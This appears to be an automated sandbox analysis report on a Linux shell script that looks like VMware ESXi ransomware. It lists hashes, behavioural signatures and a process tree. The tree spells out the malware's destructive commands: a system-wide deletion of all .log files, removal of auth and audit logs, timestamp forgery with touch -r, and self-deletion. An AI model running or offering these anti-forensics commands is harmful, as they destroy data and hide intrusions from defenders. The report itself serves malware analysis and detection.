Resubmissions

15-03-2024 16:07

240315-tkykeacf7z 1

25-02-2024 14:29

240225-rtjrhaee9z 10

Analysis

  • max time kernel
    3s
  • max time network
    1678s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    25-02-2024 14:29

General

  • Target

    script_malware/ae4b7284a9538c66432f02097c3de14e2253d16b6602c4694753468bc14d7d28.sh

  • Size

    3KB

  • MD5

    cf5762eea336cf74a0323d715f72b8b9

  • SHA1

    b40e39adadc5ae4d98fd3900837414797562b1bc

  • SHA256

    ae4b7284a9538c66432f02097c3de14e2253d16b6602c4694753468bc14d7d28

  • SHA512

    35822aafe30d8a14a1ac48d25f6a5eff90c55e18c44df6432bcec962370b6ff1fe06559510090691abb5e4b50594b7067b48f3e582944b07af1c3669fe739c77

Score
7/10

Malware Config

Signatures

  • Deletes Audit logs 1 TTPs 1 IoCs

    Deletes logs related to the Linux Audit framework.

  • Deletes log files 1 TTPs 11 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 17 IoCs
  • Reads hardware information 1 TTPs 1 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Reads network interface configuration 2 TTPs 12 IoCs

    Fetches information about one or more active network interfaces.

  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/script_malware/ae4b7284a9538c66432f02097c3de14e2253d16b6602c4694753468bc14d7d28.sh
    /tmp/script_malware/ae4b7284a9538c66432f02097c3de14e2253d16b6602c4694753468bc14d7d28.sh
    1⤵
      PID:1452
      • /usr/bin/chmod
        chmod +x /tmp//encrypt
        2⤵
          PID:1486
        • /usr/bin/find
          find /usr/lib/vmware -type f -name index.html
          2⤵
            PID:1495
          • /usr/bin/mv
            mv /etc/motd /etc/motd1
            2⤵
              PID:1496
            • /bin/find
              /bin/find / -name "*.log" -exec /bin/rm -rf "{}" ";"
              2⤵
              • Reads CPU attributes
              • Reads hardware information
              • Reads network interface configuration
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:1498
              • /bin/rm
                /bin/rm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log
                3⤵
                  PID:1505
                • /bin/rm
                  /bin/rm -rf /var/log/auth.log
                  3⤵
                  • Deletes log files
                  PID:1507
                • /bin/rm
                  /bin/rm -rf /var/log/kern.log
                  3⤵
                  • Deletes log files
                  PID:1508
                • /bin/rm
                  /bin/rm -rf /var/log/fontconfig.log
                  3⤵
                  • Deletes log files
                  PID:1509
                • /bin/rm
                  /bin/rm -rf /var/log/gpu-manager.log
                  3⤵
                  • Deletes log files
                  PID:1510
                • /bin/rm
                  /bin/rm -rf /var/log/audit/audit.log
                  3⤵
                  • Deletes Audit logs
                  PID:1511
                • /bin/rm
                  /bin/rm -rf /var/log/dpkg.log
                  3⤵
                  • Deletes log files
                  PID:1512
                • /bin/rm
                  /bin/rm -rf /var/log/ubuntu-advantage.log
                  3⤵
                  • Deletes log files
                  PID:1513
                • /bin/rm
                  /bin/rm -rf /var/log/apt/history.log
                  3⤵
                  • Deletes log files
                  PID:1514
                • /bin/rm
                  /bin/rm -rf /var/log/apt/term.log
                  3⤵
                  • Deletes log files
                  PID:1515
                • /bin/rm
                  /bin/rm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
                  3⤵
                  • Deletes log files
                  PID:1516
                • /bin/rm
                  /bin/rm -rf /var/log/alternatives.log
                  3⤵
                  • Deletes log files
                  PID:1517
                • /bin/rm
                  /bin/rm -rf /var/log/Xorg.0.log
                  3⤵
                  • Deletes log files
                  PID:1518
                • /bin/rm
                  /bin/rm -rf /root/.local/share/gvfs-metadata/root-df984320.log
                  3⤵
                    PID:1522
                  • /bin/rm
                    /bin/rm -rf /root/.local/share/gvfs-metadata/trash:-da0a1fea.log
                    3⤵
                      PID:1523
                    • /bin/rm
                      /bin/rm -rf /root/.local/share/gvfs-metadata/home-7c5e10cb.log
                      3⤵
                        PID:1524
                      • /bin/rm
                        /bin/rm -rf /run/initramfs/fsck.log
                        3⤵
                          PID:1525
                      • /bin/rm
                        /bin/rm -f /store/packages/vmtools.py
                        2⤵
                          PID:1961
                        • /bin/touch
                          /bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
                          2⤵
                            PID:1962
                          • /bin/touch
                            /bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
                            2⤵
                              PID:1963
                            • /bin/touch
                              /bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh
                              2⤵
                                PID:1964
                              • /bin/rm
                                /bin/rm -f /tmp/encrypt /tmp/nohup.out /tmp/index.html /tmp/motd /tmp/public.pem /tmp/archieve.zip
                                2⤵
                                  PID:1965
                                • /bin/sh
                                  /bin/sh /bin/auto-backup.sh
                                  2⤵
                                    PID:1966
                                  • /bin/rm
                                    /bin/rm -- /tmp/script_malware/ae4b7284a9538c66432f02097c3de14e2253d16b6602c4694753468bc14d7d28.sh
                                    2⤵
                                      PID:1967
                                    • /etc/init.d/SSH
                                      /etc/init.d/SSH start
                                      2⤵
                                        PID:1968
                                    • /usr/bin/awk
                                      awk "{print \$3}"
                                      1⤵
                                        PID:1459
                                      • /usr/bin/grep
                                        grep "Config File"
                                        1⤵
                                          PID:1458
                                        • /usr/bin/awk
                                          awk "{print \$2}"
                                          1⤵
                                            PID:1468
                                          • /usr/bin/grep
                                            grep vmx
                                            1⤵
                                              PID:1467
                                            • /usr/bin/ps
                                              ps
                                              1⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:1466
                                            • /usr/bin/awk
                                              awk "-F " "{print \$2}"
                                              1⤵
                                                PID:1490
                                              • /usr/bin/grep
                                                grep /vmfs/volumes/
                                                1⤵
                                                  PID:1489
                                                • /bin/wc
                                                  /bin/wc -l
                                                  1⤵
                                                    PID:1956
                                                  • /bin/grep
                                                    /bin/grep -v grep
                                                    1⤵
                                                      PID:1955
                                                    • /bin/grep
                                                      /bin/grep encrypt
                                                      1⤵
                                                        PID:1954
                                                      • /bin/ps
                                                        /bin/ps
                                                        1⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:1953
                                                      • /bin/wc
                                                        /bin/wc -l
                                                        1⤵
                                                          PID:1960
                                                        • /bin/grep
                                                          /bin/grep " 7."
                                                          1⤵
                                                            PID:1959
                                                          • /bin/vmware
                                                            /bin/vmware -l
                                                            1⤵
                                                              PID:1958

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

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